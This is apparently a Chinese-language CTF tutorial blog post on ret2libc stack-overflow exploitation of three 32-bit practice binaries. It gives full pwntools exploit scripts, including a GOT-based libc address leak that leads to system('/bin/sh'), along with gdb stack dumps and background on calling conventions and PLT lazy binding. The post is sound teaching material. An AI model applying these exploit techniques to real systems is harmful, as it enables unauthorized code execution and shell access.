PWN棧溢出基礎(chǔ)——ROP1.5 (ret2libc)

PWN棧溢出基礎(chǔ)——ROP1.5(ret2libc)

之前在我寫的ROP1.0中介紹了ret2text、ret2shellcode、ret2syscall,本次介紹ret2libc。

原理

ret2libc即控制函數(shù)的執(zhí)行l(wèi)ibc中的函數(shù),通常是返回至某個(gè)函數(shù)的plt處或者函數(shù)的具體位置(即函數(shù)對(duì)應(yīng)的got表項(xiàng)的內(nèi)容)。一般情況下,我們會(huì)選擇執(zhí)行system("/bin/sh"),故而此時(shí)我們需要知道system函數(shù)的地址。

例1.ret2libc1

checksec

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

有NX,不可用ret2shellcode。

IDA

//漏洞函數(shù)長這個(gè)樣子,偏移也比較容易計(jì)算哈
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(&s);
  return 0;
}

gets的棧溢出,偏移計(jì)算沒什么亮點(diǎn),可以看ROP1.0。
查看string里邊既有system函數(shù),也有/bin/sh,那么思路有了
payload='A'0x6C+'A'4+system_addr+binsh_addr
exp

from pwn import *
p=process('./ret2libc1')
system_addr=0x08048460
binsh_addr=0x08048720
##payload='A'*0x6C+'A'*4+p32(system_addr)+p32(binsh_addr)
##上邊的payload是錯(cuò)的
payload='A'*0x6C+'a'*4+p32(system_addr)+'aaaa'+p32(binsh_addr)
p.sendline(payload)
p.interactive()

實(shí)際上我們一開始給出的思路是錯(cuò)的,因?yàn)樾枰紤]函數(shù)調(diào)用棧的結(jié)構(gòu),如果是正常調(diào)用system函數(shù),我們調(diào)用的時(shí)候會(huì)有一個(gè)對(duì)應(yīng)的返回地址,這里以'aaaa'作為虛假的地址,其后參數(shù)對(duì)應(yīng)的參數(shù)內(nèi)容。
這個(gè)題運(yùn)氣好的地方在于同時(shí)給出了system和/bin/sh
(>_<,函數(shù)調(diào)用棧的知識(shí)我后邊盡量添加上。)

例2.ret2libc2

這個(gè)題很好玩喲~
checksec

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

同樣是開啟了NX,所以也難不到哪里去。
***IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("Something surprise here, but I don't think it will work.");
  printf("What do you think ?");
  gets(&s);
  return 0;
}

x_x,我試著做一做啊
這道題里邊有system函數(shù),但是沒有/bin/sh 字符串,所以我猜測啊,可不可以調(diào)用gets函數(shù)讀取/bin/sh到了某個(gè)地方,然后再調(diào)用system函數(shù)。
在.bss段里可以找到一個(gè)buf2(問題在于,我也不知道怎么看會(huì)想到有這個(gè)全局變量的?)

.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2            db 64h dup(?)
.bss:0804A080 _bss            ends

那么存放bin/sh的地方確定了,嘿嘿,0x0804A080
payload='a'0x6C+'a'4+gets_addr+system_addr+buf2_addr+buf2_addr
問題來了,怎么把/bin/sh輸進(jìn)去?
(答:我想的有些復(fù)雜了,直接senlind進(jìn)去就可以了)
exp

from pwn import *
system_addr=0x8048490
gets_addr=0x8048460
buf2_addr=0x804A080

p=process('./ret2libc2')
payload='a'*112+p32(gets_addr)+p32(system_addr)+p32(buf2_addr)+p32(buf2_addr)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

問題來了,payload的布局為什么是這樣的,我會(huì)從兩部分來說,一部分是函數(shù)調(diào)用,另一部分是實(shí)際調(diào)試的時(shí)候的變化。(函數(shù)調(diào)用的知識(shí)最后再說)
事后調(diào)試


依舊在leave指令處下斷點(diǎn)(詳見ROP1.0),執(zhí)行ret之后執(zhí)行g(shù)ets函數(shù),這個(gè)應(yīng)該好理解。在backtrace中可見,執(zhí)行Gets之后會(huì)去執(zhí)行system函數(shù)。
棧中數(shù)據(jù)如下:

00:0000│ esp  0xffb8cc00 —? 0xffb8cc1c ?— 0x61616161 ('aaaa')
01:0004│      0xffb8cc04 ?— 0x0
02:0008│      0xffb8cc08 ?— 0x1
03:000c│      0xffb8cc0c ?— 0x0
... ↓
05:0014│      0xffb8cc14 ?— 0xc30000
06:0018│      0xffb8cc18 ?— 0x0
07:001c│      0xffb8cc1c ?— 0x61616161 ('aaaa')
... ↓
23:008c│      0xffb8cc8c —? 0x8048460 (gets@plt) ?— jmp    dword ptr [0x804a010]
24:0090│      0xffb8cc90 —? 0x8048490 (system@plt) ?— jmp    dword ptr [0x804a01c]
25:0094│      0xffb8cc94 —? 0x804a080 (buf2) ?— 0x0

接著往下單步執(zhí)行



從棧中取出buf2的地址,并給eax賦值。而在payload總緊跟著gets函數(shù)地址的system函數(shù)地址是gets函數(shù)的返回地址,接著往下單步執(zhí)行,直到返回



這一步調(diào)整棧幀

最后成功執(zhí)行system函數(shù),并將/bin/sh作為參數(shù)

ret2libc3

這個(gè)題的難度比較大,麻煩的地方有兩個(gè),首先是要計(jì)算出偏移地址,隨后再劫持程序運(yùn)行流回到最開始,這個(gè)貌似和延遲綁定有關(guān)系。另一個(gè)是工具使用上的,找到合適的libc地址。
checksec

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

開啟了NX保護(hù)
IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets(&s);
  return 0;
}

gets()函數(shù)存在棧溢出漏洞,當(dāng)前偏移很好確定。
查看string


里邊沒有system,沒有/bin/sh。(話說,這里都把GLIBC的版本給出來了,不是么?)
如何得到system函數(shù)的地址呢?這里就主要利用了兩個(gè)知識(shí)點(diǎn)
(1)system函數(shù)屬于Libc,而libc.so動(dòng)態(tài)鏈接庫中的函數(shù)之間相對(duì)偏移是固定的。
(2)即使程序有ASLR保護(hù),也只是針對(duì)于地址中間位進(jìn)行隨機(jī),最低的12位并不會(huì)發(fā)生改變。(雖說這道題并沒有開啟PIE)
如果我們知道libc中某個(gè)函數(shù)的地址,那么我們就可以確定該程序利用的libc,從而得出system函數(shù)的地址。
確定system地址
如何得到Libc中的某個(gè)函數(shù)的地址呢?一般常用的方法是采用got表泄露,即輸出某個(gè)函數(shù)對(duì)應(yīng)的got表項(xiàng)的內(nèi)容。當(dāng)然,由于Libc的延遲綁定機(jī)制,我們需要泄露已經(jīng)執(zhí)行過的函數(shù)的地址。(延遲綁定機(jī)制的原理最后再說)
泄露函數(shù)地址
計(jì)算溢出點(diǎn),便可以先將部分函數(shù)泄露出來。這里選擇泄露_libc_start_main和puts兩個(gè)函數(shù)地址

##ret2libc3_exp1.py
from pwn import *
p=process('./ret2libc3')
elf=ELF('./ret2libc3')
puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main = elf.symbols['main']
puts_got = elf.got['puts']

print "leak libc_start_main_got addr and return to main again"
payload1 = 'a' * 112 + p32(puts_plt) + p32(main) +p32(
libc_start_main_go)
p.recvuntil('Can you find it !?')
p.sendline(payload1)

print "get the related addr"
libc_start_main_addr = u32(p.recv()[0:4])     
print("addr:" + hex(libc_start_main_addr))

payload中首先填充112個(gè)'a'到達(dá)返回地址,修改返回地址為puts()函數(shù),中間放的p32(main)可以換成別的,最后libc_start_main_go是需要泄露的函數(shù)地址。


可見,得出了libc_start_main的地址,在線查找對(duì)應(yīng)的Libc版本,
鏈接:https://libc.blukat.me/
image.png

可見版本為libc6-2.26,可以看到這個(gè)數(shù)據(jù)庫給出了下載鏈接并且給出了幾個(gè)函數(shù)的偏移地址。將對(duì)應(yīng)的Libc文件下載下來,重命名為libc.so,移動(dòng)到和目標(biāo)文件的同一目錄下。
整體的思路
·泄露__libc_start_main地址
·獲取libc版本
·獲取system地址與/bin/sh的地址
·再次執(zhí)行源程序
·觸發(fā)棧溢出執(zhí)行system('bin/sh')
exp

##ret2libc3_exp.py
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc=ELF('libc.so')
libcbase=libc_start_main_addr-libc.symbols['__libc_start_main']
system_addr=libcbase + libc.symbols['system']
binsh_addr=libcbase + 0x17e0af

print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

exp分為兩部分,第一,通過棧溢出獲得libc偏移地址并控制程序流程重新回到main函數(shù)開始。第二,根據(jù)偏移地址計(jì)算出system和/bin/sh的地址,利用棧溢出geyshell。
注意第二次的時(shí)候,偏移地址不是112,而是104,這是因?yàn)榈诙芜M(jìn)入主函數(shù)之后,棧幀發(fā)生了變化。
事后調(diào)試
先把第二次的payload的偏移設(shè)為112,看看會(huì)發(fā)生什么


可見,第一次的payload發(fā)揮作用了,將調(diào)用puts函數(shù),并且之后返回到main函數(shù)開始處。

可見,第二次的payload并未能改變程序流程,當(dāng)前
EBP:0xffca3a80,如果你回過頭去看,第一次執(zhí)行main函數(shù)的ebp為0xffca3a78。0xffca3a80-0xffca3a78=8
這時(shí)候就是偏移出了問題,可見多出了8個(gè)a,修改偏移為104即可。
這里的偏移104也可以根據(jù)cyclic得出

$cyclic 300
$gdb ./...
$r
$cyclic -l "0x******"

為什么偏移少8
__start是程序的起始。
直接用main_plt=elf.symbols['_start']的話,仍然填充為112
使用main需要減去8
可以這樣計(jì)算:ebp+0x4-(esp+0x1C)(esp+0x1c是字符串的起點(diǎn)),ebp+4的目的是從main開始調(diào)用。

補(bǔ)充知識(shí)

函數(shù)調(diào)用

棧空間是計(jì)算機(jī)內(nèi)存中一段確定的內(nèi)存區(qū)域,也有著一些指針指向相應(yīng)的內(nèi)存地址,在x86架構(gòu)中這個(gè)指針位于ESP寄存器,而在x86-64平臺(tái)上為RSP寄存器。在計(jì)算機(jī)底層,棧主要的幾個(gè)用途是:(1)存儲(chǔ)局部變量;(2)執(zhí)行CALL指令調(diào)用函數(shù)時(shí),保存函數(shù)地址以便函數(shù)結(jié)束時(shí)正確返回;(3)傳遞函數(shù)參數(shù)。
使用棧保存函數(shù)返回地址
CALL指令調(diào)用某個(gè)子函數(shù)時(shí),下一條指令的地址作為返回地址被保存到棧中,等價(jià)于PUSH返回地址與JMP函數(shù)地址的指令序列。
被調(diào)用函數(shù)結(jié)束時(shí),程序?qū)?zhí)行RET指令跳轉(zhuǎn)到這個(gè)返回地址,將控制權(quán)交還給調(diào)用函數(shù),等價(jià)于POP返回地址與JMP返回地址的指令序列。因此無論調(diào)用了多少層子函數(shù),由于棧后入先出的特性,程序控制權(quán)最終會(huì)回到main函數(shù)。
調(diào)用子函數(shù)這一行為使用PROC與ENDP偽指令來定義,且需要分配一個(gè)有效的標(biāo)識(shí)符,所有的x86匯編程序中都包含標(biāo)識(shí)符為main的函數(shù),這是程序的入口點(diǎn),main函數(shù)不需要使用RET指令,但其他的被調(diào)用函數(shù)結(jié)束時(shí)都需要通過RET指令被控制權(quán)交還調(diào)用函數(shù)。

1  ...                  .code
2  ...                  main PROC
3  0x00008000  MOV EBX,EAX
4  ...                    ...
5  0x00008020  CALL testFunc
6  0x00008025  MOV EAX,EBX
7  ...                    ...
8  ...                    main ENDP
9  ...                    ...
10  0x00008A00  testFunc PROC
11  ...                    MOV EAX,EDX
12  ...                  ...
13  ...                  RET
14  ...                  testFunc  ENDP

通過上面的代碼片段,可以看到棧是如何保存函數(shù)返回地址的。當(dāng)?shù)?行的CALL指令執(zhí)行時(shí),下一條指令的地址0x00008025將被壓入棧中,被調(diào)用函數(shù)testFunc的地址0x00008A00則被加載至EIP寄存器,如所示。


當(dāng)執(zhí)行第13行的RET指令時(shí),將分為兩個(gè)過程,第一步,ESP指向的數(shù)據(jù)將被彈出至EIP寄存器;第二步,ESP的數(shù)值增加,將指向棧中的上一個(gè)值。如圖
所示

使用棧傳遞函數(shù)參數(shù)
在x86平臺(tái)程序中,最常見的參數(shù)傳遞調(diào)用約定是cdecl,其他的還是stdcall、fastcall和thiscall等。需要注意的是,我們可以使用棧傳遞參數(shù),但并不代表?xiàng)J轿ㄒ粋鬟f參數(shù)的方式,在x86-64上,還可以通過寄存器傳遞參數(shù)。
假設(shè)函數(shù)func有三個(gè)參數(shù)arg1,agr2和arg3,那么在cdecl約定下通常如下所示:

push arg3
push arg2
push arg1
call func

此外,被調(diào)用函數(shù)并不直到調(diào)用函數(shù)向它傳遞了多少參數(shù),因此對(duì)于參數(shù)數(shù)量可變的函數(shù)來說,就需要說明符標(biāo)示格式化說明,明確參數(shù)信息。常見的printf函數(shù)就是參數(shù)數(shù)量可變的函數(shù)之一。如果我們?cè)赾語言中這樣使用pinrtf函數(shù):
printf("%d,%d,%d",9998)
那么得到的結(jié)果不僅會(huì)顯示整數(shù)9998,還將顯示出數(shù)據(jù)棧內(nèi)9998之后的兩個(gè)地址的隨機(jī)數(shù)(通常這種數(shù)據(jù)是被調(diào)用函數(shù)內(nèi)部的局部變量。)

延遲綁定

動(dòng)態(tài)鏈接比靜態(tài)鏈接要慢1%~5%,根據(jù)動(dòng)態(tài)鏈接中PIC(與地址無關(guān)代碼)的原理PIC,可以直到造成該情況的原因如下:
(1)動(dòng)態(tài)鏈接下對(duì)于全局和靜態(tài)數(shù)據(jù)的訪問都要進(jìn)行復(fù)雜的GOT(全局偏移表)定位,然后間接尋址;對(duì)于模塊間的調(diào)用也要先定位GOT,然后再進(jìn)行跳轉(zhuǎn)。
(2)動(dòng)態(tài)鏈接的鏈接工作是在運(yùn)行時(shí)完成,即程序開始運(yùn)行時(shí),動(dòng)態(tài)鏈接器都要進(jìn)行一次鏈接工作,而鏈接工作需要復(fù)雜的重定位等工作,減慢了啟動(dòng)速度。
針對(duì)上述第二個(gè)減慢動(dòng)態(tài)鏈接的原因,提出了延遲綁定(Lazy Binding)的要求:即函數(shù)第一次被用到時(shí)才進(jìn)行綁定。通過延遲綁定大大加快了程序的啟動(dòng)速度。而 ELF 則使用了PLT(Procedure Linkage Table,過程鏈接表)的技術(shù)來實(shí)現(xiàn)延遲綁定。
當(dāng)在程序運(yùn)行過程中需要調(diào)用動(dòng)態(tài)鏈接器來為某一個(gè)第一次調(diào)用的外部函數(shù)進(jìn)行地址綁定時(shí),需要提供給動(dòng)態(tài)鏈接器的內(nèi)容有:發(fā)生地址綁定需求的地方(文件名)以及需要綁定的函數(shù)名也即是說,假設(shè)動(dòng)態(tài)鏈接器使用某一個(gè)函數(shù)來進(jìn)行地址綁定工作,那它的函數(shù)原型應(yīng)該為: lookup(module,function)。
PLT的簡單實(shí)現(xiàn)
原來的做法:調(diào)用某一個(gè)外部函數(shù)時(shí),通過GOT中的相應(yīng)項(xiàng)進(jìn)行間接跳轉(zhuǎn)。
PLT的做法:調(diào)用函數(shù)時(shí),通過一個(gè)PLT項(xiàng)的結(jié)構(gòu)來進(jìn)行跳轉(zhuǎn),每一個(gè)外部函數(shù)中都有一個(gè)相應(yīng)的項(xiàng)。

bar@plt:
jmp *(bar@GOT)              //如果是第一次鏈接,該語句的效果只是跳轉(zhuǎn)到下一句指令。否則,將會(huì)跳轉(zhuǎn)到 bar()函數(shù)對(duì)應(yīng)的位置
push n              //壓棧 n,n 是 bar 這個(gè)符號(hào)在重定位表 .rel.plt 中的下標(biāo)
push moduleID               // 壓棧當(dāng)前模塊的模塊ID,上述例子中的 liba.so
jump _dl_runtime_resolve()      //跳轉(zhuǎn)到動(dòng)態(tài)鏈接器中的地址綁定處理函數(shù)

先說這么多把,后邊我再續(xù)一下,目前關(guān)于延遲綁定沒找到好的資料。

后記

參考鏈接
https://www.freesion.com/article/5780503138/
https://www.bilibili.com/video/BV1pb411P7vG?from=search&seid=7059356990447699539
https://wiki.x10sec.org/pwn/linux/stackoverflow/basic-rop-zh/#3
https://blog.csdn.net/virtual_func/article/details/48789947

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容